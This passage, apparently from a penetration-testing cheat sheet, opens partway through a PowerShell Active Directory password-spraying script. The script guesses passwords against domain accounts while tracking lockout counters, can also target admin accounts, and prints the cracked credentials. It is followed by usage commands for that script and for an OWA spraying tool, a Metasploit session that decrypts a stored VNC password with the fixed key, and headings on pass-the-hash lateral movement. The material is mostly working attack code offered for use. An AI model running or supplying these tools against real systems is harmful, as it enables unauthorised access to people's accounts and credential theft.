                                $auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]]
                            
                                If ($auth -eq $true)
                                {
                                    Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen
                                    $results += $samaccountnname
                                    $results += $passwords[$numTry[$i]]
                                    $usersCracked[$i] = $true
                                    $done[$i] = $true
                                }
                                Else 
                                {
                                    $numTry[$i] += 1
                                    If($numTry[$i] -eq $passwords.Length) {$done[$i] = $true}
                                }

                            } # Time-diff if

                        }
                        Else
                        {
                            # Verbose-log if $badpwdtime in null. Possible "Cannot index into a null array" error.
                            Write-Verbose "- no badpwdtime exception '$samaccountnname':'$badpwdcount':'$badpwdtime'"
	
	
	
				   # Try the auth with current password
        	                $auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]]
			
                                If ($auth -eq $true)
                                {
                                    Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen
                                    $results += $samaccountnname
                                    $results += $passwords[$numTry[$i]]
                                    $usersCracked[$i] = $true
                                    $done[$i] = $true
                                }
                                Else 
                                {
                                    $numTry[$i] += 1
                                    If($numTry[$i] -eq $passwords.Length) {$done[$i] = $true}
                                }
			 
			 
			    
                        } # Badpwdtime-check if

                    } # Badwpdcount-check if

                } # Done-check if

            } # User-cracked if

        } # User loop

        # Check if the bruteforce is done so the while loop can be terminated
        $amount = 0
        For ($j = 0; $j -lt $done.Length; $j += 1)
        {
            If ($done[$j] -eq $true) {$amount += 1}
        }

        If ($amount -eq $done.Length) {Break}

   # Take a nap for a second
   Start-Sleep -m 1000

   } # Main While loop

   If ($results.Length -gt 0)
   {
       Write-Host "Users guessed are:"
       For($i = 0; $i -lt $results.Length; $i += 2) {Write-Host " '$($results[$i])' with password: '$($results[$i + 1])'"}
   }
   Else {Write-Host "No passwords were guessed."}
}

$passwords = $null

If ($Url -ne '')
{
    $passwords = Parse-Url $Url
}
ElseIf($File -ne '')
{
    $passwords = Parse-File $File
}
Else
{
    $passwords = $Pass.Split(",").Trim()   
}

If($passwords -eq $null)
{
    Write-Host "Error in password input, please try again."
    Exit
}

# Get password policy info
$duration = Get-Duration
$threshold = Get-threshold

If ($Admins) {Write-Host "WARNING: also targeting admin accounts." -BackgroundColor DarkRed}

# Call the main function and start the brute force
BruteForce $duration $threshold $passwords

Usage

PS C:\> .\Spray-Passwords.ps1 -Pass <PASSWORD> -Admin

SprayingToolkit

https://github.com/byt3bl33d3r/SprayingToolkit

OWA

 python3 atomizer.py owa <RHOST> <PASSWORDS> <USERNAMES> -i 0:0:01

VNC Password Recovery

msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["6bcf2a4b6e5aca0f"].pack('H*'), fixedkey
=> "sT333ve2"
>>

NTLM

• Lateral Movement:

  • Pass the hash attack (PtH)